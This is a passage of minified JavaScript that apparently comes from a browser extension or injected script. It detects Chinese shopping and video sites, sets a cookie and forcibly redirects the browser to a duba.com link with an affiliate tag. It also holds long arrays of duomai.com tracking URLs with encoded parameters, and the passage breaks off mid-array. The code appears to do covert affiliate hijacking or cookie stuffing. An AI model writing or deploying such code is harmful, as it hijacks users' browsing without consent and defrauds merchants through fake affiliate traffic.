    m.isiqiyi || m.issohu || m.isletv || m.ispps || m.ispptv ? (window.isShowDb11Banner = !1, d()) : m.isVanclList || m.isB2CList || m.isYHDList || m.isVjiaList || m.isDDList || m.isSuningList || m.isYixunList || m.isJDSub || m.isMLSList || m.isMGJList || m.isGMList || m.isVipList || m.isAMXList || m.isPaipaiList || m.isJumeiList || m.isLeFengList || m.isLeFengBrand || m.isKaoLaList || m.isBeiBeiList || m.isFengQu || m.isMia || m.isStrawberrynet || m.isYmatou || m.isYmatouList ? (window.isShowDb11Banner = !1, d()) : m.isBeiBeiDetail || m.isKaoLaDetail || m.isLeFengDeatil || m.isB2CDetail || m.isYixunDetail || m.isVipDetail || m.isMGJDetail || m.isMLSDetail || m.isJuDetail || m.isYHDDetail || m.isGMDetail || m.isPaipaiDetail || m.isJumeiDetail || m.isVjiaDetial || m.isDDDetail || m.isSuningDetail || m.isVanclDetail || m.isAMXDetail || m.isAlitripDetail || m.isFengQuDetail || m.isMiaDetail || m.isStrawberrynetDetail || m.isYmatouDetai ? (window.isShowDb11Banner = !1, d()) : window.isShowDb11Banner = !0
}),
__tk2__define("view/duba", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = {
        utils: a("../utils")
    };
    d.utils.cookie.get().dubaTK || (d.utils.cookie.set({
        name: "dubaTK",
        value: !0,
        min: 5,
        path: "/",
        domain: "duba.com"
    }), d.utils.cookie.get().dubaTK && (location.href = "http://www.duba.com/?un_449343_1766"))
}),
__tk2__define("view/duomai", ["../utils", "../lib/jquery.min", "../host"],
function(a, b, c) {
    var d = a("../utils"),
    e = a("../host"),
    f = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkDN0ETPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YuADM4UGa65Ccvh2cGJTJGJTJBNTJwRHd"],
    g = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZSO5MTPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWbvVnbuc3d3ZkMlYkMlE0MlAHd0h"],
    h = ["http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmgTN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmEjN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmQjN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmcjN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmAzN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmMzN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmYzN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmkzN2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmIDO2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmUDO2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q", "http://c.duomai.com/track.php?k=nJ9QWa1VmJxYTPklWYmgDO2UDOx0DZp9VZ0l2cmYkMl02bj5CZq5yd3dnRyUiRyUSQzUCc0RHa9Q"],
    i = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmgTN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmEjN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmQjN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmcjN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmAzN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmMzN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmYzN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmkzN2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmIDO2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmUDO2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiNzITPklWYmgDO2UDOx0DZp9VZ0l2cmYkMl42Yu02bj5SZt92Zuc3d3ZkMlYkMlE0MlAHd0h"],
    j = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNzMTPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92Yu4Wd4lWeuc3d3ZkMlYkMlE0MlAHd0h"],
    k = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmgTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmEjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmQjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmcjN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmAzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmMzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmYzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmkzN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmIDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmUDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmkTM3ETPklWYmgDO2UDOx0DZp9VZ0l2cmYiJGJTJt92YukXdi9GavlnL3d3dGJTJGJTJBNTJwRHd"],
    l = ["http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmgTN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmEjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcjN3ETPklWYmQjN2UDOx0DZp9VZ0l2cmYkMl02bj5Sal1mL3d3dGJTJGJTJBNTJwRHdo1Dd", 